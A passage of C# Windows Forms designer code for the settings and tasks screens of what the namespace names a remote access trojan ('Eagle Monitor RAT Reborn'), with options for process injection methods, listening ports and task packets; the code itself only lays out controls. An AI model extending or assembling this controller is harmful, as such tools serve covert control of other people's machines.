((int)(((byte)(100)))));\n            this.bufferSizeGuna2ComboBox.ItemHeight = 30;\n            this.bufferSizeGuna2ComboBox.Items.AddRange(new object[] {\n            \"512 kB\",\n            \"1 MB\",\n            \"2 MB\",\n            \"4 MB\",\n            \"8 MB\",\n            \"10 MB\"});\n            this.bufferSizeGuna2ComboBox.Location = new System.Drawing.Point(586, 325);\n            this.bufferSizeGuna2ComboBox.Name = \"bufferSizeGuna2ComboBox\";\n            this.bufferSizeGuna2ComboBox.Size = new System.Drawing.Size(275, 36);\n            this.bufferSizeGuna2ComboBox.TabIndex = 56;\n            this.bufferSizeGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            // \n            // autoRemoveDownloadGuna2CheckBox\n            // \n            this.autoRemoveDownloadGuna2CheckBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.autoRemoveDownloadGuna2CheckBox.Animated = true;\n            this.autoRemoveDownloadGuna2CheckBox.AutoSize = true;\n            this.autoRemoveDownloadGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.autoRemoveDownloadGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.autoRemoveDownloadGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.autoRemoveDownloadGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.autoRemoveDownloadGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.autoRemoveDownloadGuna2CheckBox.Location = new System.Drawing.Point(3, 320);\n            this.autoRemoveDownloadGuna2CheckBox.Name = \"autoRemoveDownloadGuna2CheckBox\";\n            this.autoRemoveDownloadGuna2CheckBox.Size = new System.Drawing.Size(240, 17);\n            this.autoRemoveDownloadGuna2CheckBox.TabIndex = 55;\n            this.autoRemoveDownloadGuna2CheckBox.Text = \"Auto remove row when file is downloaded\";\n            this.autoRemoveDownloadGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.autoRemoveDownloadGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.autoRemoveDownloadGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.autoRemoveDownloadGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // processInjectionGuna2ComboBox\n            // \n            this.processInjectionGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));\n            this.processInjectionGuna2ComboBox.Animated = true;\n            this.processInjectionGuna2ComboBox.AutoRoundedCorners = true;\n            this.processInjectionGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.processInjectionGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.processInjectionGuna2ComboBox.BorderRadius = 17;\n            this.processInjectionGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.processInjectionGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.processInjectionGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.processInjectionGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.processInjectionGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.processInjectionGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.processInjectionGuna2ComboBox.ItemHeight = 30;\n            this.processInjectionGuna2ComboBox.Items.AddRange(new object[] {\n            \"CLASSIC\",\n            \"MAP_VIEW\"});\n            this.processInjectionGuna2ComboBox.Location = new System.Drawing.Point(586, 367);\n            this.processInjectionGuna2ComboBox.Name = \"processInjectionGuna2ComboBox\";\n            this.processInjectionGuna2ComboBox.Size = new System.Drawing.Size(275, 36);\n            this.processInjectionGuna2ComboBox.TabIndex = 53;\n            this.processInjectionGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            // \n            // label17\n            // \n            this.label17.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.label17.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label17.Location = new System.Drawing.Point(496, 377);\n            this.label17.Name = \"label17\";\n            this.label17.Size = new System.Drawing.Size(120, 17);\n            this.label17.TabIndex = 54;\n            this.label17.Text = \"Process Injection :\";\n            this.label17.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // autoSaveRecoveryGuna2CheckBox\n            // \n            this.autoSaveRecoveryGuna2CheckBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.autoSaveRecoveryGuna2CheckBox.Animated = true;\n            this.autoSaveRecoveryGuna2CheckBox.AutoSize = true;\n            this.autoSaveRecoveryGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.autoSaveRecoveryGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.autoSaveRecoveryGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.autoSaveRecoveryGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.autoSaveRecoveryGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.autoSaveRecoveryGuna2CheckBox.Location = new System.Drawing.Point(3, 390);\n            this.autoSaveRecoveryGuna2CheckBox.Name = \"autoSaveRecoveryGuna2CheckBox\";\n            this.autoSaveRecoveryGuna2CheckBox.Size = new System.Drawing.Size(127, 17);\n            this.autoSaveRecoveryGuna2CheckBox.TabIndex = 52;\n            this.autoSaveRecoveryGuna2CheckBox.Text = \"Auto Save Recovery\";\n            this.autoSaveRecoveryGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.autoSaveRecoveryGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.autoSaveRecoveryGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.autoSaveRecoveryGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.autoSaveRecoveryGuna2CheckBox.CheckedChanged += new System.EventHandler(this.autoSaveRecoveryGuna2CheckBox_CheckedChanged);\n            // \n            // flagsPackGuna2ComboBox\n            // \n            this.flagsPackGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));\n            this.flagsPackGuna2ComboBox.Animated = true;\n            this.flagsPackGuna2ComboBox.AutoRoundedCorners = true;\n            this.flagsPackGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.flagsPackGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.flagsPackGuna2ComboBox.BorderRadius = 17;\n            this.flagsPackGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.flagsPackGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.flagsPackGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.flagsPackGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.flagsPackGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.flagsPackGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.flagsPackGuna2ComboBox.ItemHeight = 30;\n            this.flagsPackGuna2ComboBox.Items.AddRange(new object[] {\n            \"FlagsBase\",\n            \"FlagsPack1\",\n            \"FlagsPack2\",\n            \"FlagsPack3\"});\n            this.flagsPackGuna2ComboBox.Location = new System.Drawing.Point(209, 367);\n            this.flagsPackGuna2ComboBox.Name = \"flagsPackGuna2ComboBox\";\n            this.flagsPackGuna2ComboBox.Size = new System.Drawing.Size(275, 36);\n            this.flagsPackGuna2ComboBox.TabIndex = 48;\n            this.flagsPackGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            // \n            // label1\n            // \n            this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.label1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label1.Location = new System.Drawing.Point(145, 377);\n            this.label1.Name = \"label1\";\n            this.label1.Size = new System.Drawing.Size(83, 17);\n            this.label1.TabIndex = 50;\n            this.label1.Text = \"Flags Pack :\";\n            this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // keyGuna2TextBox\n            // \n            this.keyGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.keyGuna2TextBox.Animated = true;\n            this.keyGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.keyGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.keyGuna2TextBox.DefaultText = \"\";\n            this.keyGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.keyGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.keyGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.keyGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.keyGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.keyGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.keyGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.keyGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.keyGuna2TextBox.Location = new System.Drawing.Point(86, 409);\n            this.keyGuna2TextBox.Name = \"keyGuna2TextBox\";\n            this.keyGuna2TextBox.PasswordChar = '\\0';\n            this.keyGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.keyGuna2TextBox.PlaceholderText = \"...\";\n            this.keyGuna2TextBox.SelectedText = \"\";\n            this.keyGuna2TextBox.Size = new System.Drawing.Size(775, 31);\n            this.keyGuna2TextBox.TabIndex = 51;\n            // \n            // notificationSoundGuna2CheckBox\n            // \n            this.notificationSoundGuna2CheckBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.notificationSoundGuna2CheckBox.Animated = true;\n            this.notificationSoundGuna2CheckBox.AutoSize = true;\n            this.notificationSoundGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.notificationSoundGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.notificationSoundGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.notificationSoundGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.notificationSoundGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.notificationSoundGuna2CheckBox.Location = new System.Drawing.Point(3, 367);\n            this.notificationSoundGuna2CheckBox.Name = \"notificationSoundGuna2CheckBox\";\n            this.notificationSoundGuna2CheckBox.Size = new System.Drawing.Size(121, 17);\n            this.notificationSoundGuna2CheckBox.TabIndex = 49;\n            this.notificationSoundGuna2CheckBox.Text = \"Notification Sound\";\n            this.notificationSoundGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.notificationSoundGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.notificationSoundGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.notificationSoundGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.notificationSoundGuna2CheckBox.CheckedChanged += new System.EventHandler(this.notificationSoundGuna2CheckBox_CheckedChanged);\n            // \n            // guna2GroupBox1\n            // \n            this.guna2GroupBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.guna2GroupBox1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox1.BorderThickness = 0;\n            this.guna2GroupBox1.Controls.Add(this.portListView);\n            this.guna2GroupBox1.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox1.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox1.Location = new System.Drawing.Point(0, 0);\n            this.guna2GroupBox1.Name = \"guna2GroupBox1\";\n            this.guna2GroupBox1.Padding = new System.Windows.Forms.Padding(2, 40, 2, 2);\n            this.guna2GroupBox1.Size = new System.Drawing.Size(908, 291);\n            this.guna2GroupBox1.TabIndex = 7;\n            this.guna2GroupBox1.Text = \"Ports\";\n            // \n            // portListView\n            // \n            this.portListView.BackColor = System.Drawing.Color.White;\n            this.portListView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.portListView.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {\n            this.columnHeader1});\n            this.portListView.ContextMenuStrip = this.portContextMenuStrip;\n            this.portListView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.portListView.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.portListView.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.portListView.HideSelection = false;\n            this.portListView.Location = new System.Drawing.Point(2, 40);\n            this.portListView.Name = \"portListView\";\n            this.portListView.Size = new System.Drawing.Size(904, 249);\n            this.portListView.TabIndex = 0;\n            this.portListView.UseCompatibleStateImageBehavior = false;\n            this.portListView.View = System.Windows.Forms.View.Tile;\n            // \n            // portContextMenuStrip\n            // \n            this.portContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.portContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.portRemoveStripMenuItem,\n            this.addToolStripMenuItem});\n            this.portContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.portContextMenuStrip.Size = new System.Drawing.Size(130, 72);\n            // \n            // portRemoveStripMenuItem\n            // \n            this.portRemoveStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.portRemoveStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.portRemoveStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px;\n            this.portRemoveStripMenuItem.Name = \"portRemoveStripMenuItem\";\n            this.portRemoveStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.portRemoveStripMenuItem.Text = \"Remove\";\n            this.portRemoveStripMenuItem.Click += new System.EventHandler(this.portRemoveStripMenuItem_Click);\n            // \n            // addToolStripMenuItem\n            // \n            this.addToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.addToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.addToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px;\n            this.addToolStripMenuItem.Name = \"addToolStripMenuItem\";\n            this.addToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.addToolStripMenuItem.Text = \"Add\";\n            this.addToolStripMenuItem.Click += new System.EventHandler(this.addToolStripMenuItem_Click);\n            // \n            // tabPage10\n            // \n            this.tabPage10.Controls.Add(this.label23);\n            this.tabPage10.Controls.Add(this.onConnectGuna2TabControl);\n            this.tabPage10.Location = new System.Drawing.Point(4, 4);\n            this.tabPage10.Name = \"tabPage10\";\n            this.tabPage10.Padding = new System.Windows.Forms.Padding(3);\n            this.tabPage10.Size = new System.Drawing.Size(908, 443);\n            this.tabPage10.TabIndex = 5;\n            this.tabPage10.Text = \"Tasks\";\n            this.tabPage10.UseVisualStyleBackColor = true;\n            // \n            // label23\n            // \n            this.label23.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.label23.Enabled = false;\n            this.label23.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label23.Location = new System.Drawing.Point(3, 3);\n            this.label23.Name = \"label23\";\n            this.label23.Size = new System.Drawing.Size(902, 437);\n            this.label23.TabIndex = 66;\n            this.label23.Text = \"Coming soon...\";\n            this.label23.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;\n            // \n            // onConnectGuna2TabControl\n            // \n            this.onConnectGuna2TabControl.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.onConnectGuna2TabControl.Controls.Add(this.tabPage11);\n            this.onConnectGuna2TabControl.Controls.Add(this.tabPage12);\n            this.onConnectGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);\n            this.onConnectGuna2TabControl.Location = new System.Drawing.Point(65, 25);\n            this.onConnectGuna2TabControl.Name = \"onConnectGuna2TabControl\";\n            this.onConnectGuna2TabControl.SelectedIndex = 0;\n            this.onConnectGuna2TabControl.Size = new System.Drawing.Size(747, 380);\n            this.onConnectGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.onConnectGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.onConnectGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.onConnectGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.onConnectGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.onConnectGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.onConnectGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.onConnectGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.onConnectGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.onConnectGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.onConnectGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.onConnectGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.onConnectGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.onConnectGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.onConnectGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.onConnectGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);\n            this.onConnectGuna2TabControl.TabIndex = 16;\n            this.onConnectGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.onConnectGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop;\n            // \n            // tabPage11\n            // \n            this.tabPage11.BackColor = System.Drawing.Color.White;\n            this.tabPage11.Controls.Add(this.guna2VScrollBar3);\n            this.tabPage11.Controls.Add(this.tasksDataGridView);\n            this.tabPage11.Location = new System.Drawing.Point(4, 44);\n            this.tabPage11.Name = \"tabPage11\";\n            this.tabPage11.Size = new System.Drawing.Size(739, 332);\n            this.tabPage11.TabIndex = 0;\n            this.tabPage11.Text = \"Tasks\";\n            // \n            // guna2VScrollBar3\n            // \n            this.guna2VScrollBar3.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar3.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar3.InUpdate = false;\n            this.guna2VScrollBar3.LargeChange = 10;\n            this.guna2VScrollBar3.Location = new System.Drawing.Point(721, 0);\n            this.guna2VScrollBar3.Name = \"guna2VScrollBar3\";\n            this.guna2VScrollBar3.ScrollbarSize = 18;\n            this.guna2VScrollBar3.Size = new System.Drawing.Size(18, 332);\n            this.guna2VScrollBar3.TabIndex = 14;\n            this.guna2VScrollBar3.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // tasksDataGridView\n            // \n            this.tasksDataGridView.AllowUserToAddRows = false;\n            this.tasksDataGridView.AllowUserToDeleteRows = false;\n            this.tasksDataGridView.AllowUserToResizeColumns = false;\n            this.tasksDataGridView.AllowUserToResizeRows = false;\n            this.tasksDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.tasksDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.tasksDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.tasksDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle33.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle33.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle33.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle33.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle33.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle33.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle33.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.tasksDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle33;\n            this.tasksDataGridView.ColumnHeadersHeight = 36;\n            this.tasksDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column20,\n            this.Column21});\n            this.tasksDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.tasksDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.tasksDataGridView.EnableHeadersVisualStyles = false;\n            this.tasksDataGridView.GridColor = System.Drawing.Color.White;\n            this.tasksDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.tasksDataGridView.Name = \"tasksDataGridView\";\n            this.tasksDataGridView.ReadOnly = true;\n            this.tasksDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle34.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle34.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle34.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle34.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.tasksDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle34;\n            this.tasksDataGridView.RowTemplate.Height = 26;\n            this.tasksDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.tasksDataGridView.Size = new System.Drawing.Size(739, 332);\n            this.tasksDataGridView.TabIndex = 13;\n            this.tasksDataGridView.TabStop = false;\n            // \n            // Column20\n            // \n            this.Column20.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column20.FillWeight = 25F;\n            this.Column20.HeaderText = \"Packet\";\n            this.Column20.Name = \"Column20\";\n            this.Column20.ReadOnly = true;\n            this.Column20.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column21\n            // \n            this.Column21.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column21.FillWeight = 20F;\n            this.Column21.HeaderText = \"Description\";\n            this.Column21.Name = \"Column21\";\n            this.Column21.ReadOnly = true;\n            // \n            // tabPage12\n            // \n            this.tabPage12.BackColor = System.Drawing.Color.White;\n            this.tabPage12.Controls.Add(this.addTaskGuna2Button);\n            this.tabPage12.Controls.Add(this.tasksGuna2ComboBox);\n            this.tabPage12.Location = new System.Drawing.Point(4, 44);\n            this.tabPage12.Name = \"tabPage12\";\n            this.tabPage12.Size = new System.Drawing.Size(739, 332);\n            this.tabPage12.TabIndex = 1;\n            this.tabPage12.Text = \"New Tasks\";\n            // \n            // addTaskGuna2Button\n            // \n            this.addTaskGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.addTaskGuna2Button.Animated = true;\n            this.addTaskGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.addTaskGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.addTaskGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.addTaskGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.addTaskGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.addTaskGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.addTaskGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.addTaskGuna2Button.Location = new System.Drawing.Point(-75, 128);\n            this.addTaskGuna2Button.Name = \"addTaskGuna2Button\";\n            this.addTaskGuna2Button.Size = new System.Drawing.Size(888, 39);\n            this.addTaskGuna2Button.TabIndex = 68;\n            this.addTaskGuna2Button.Text = \"Add\";\n            this.addTaskGuna2Button.Click += new System.EventHandler(this.addTaskGuna2Button_Click);\n            // \n            // tasksGuna2ComboBox\n            // \n            this.tasksGuna2ComboBox.Anchor = 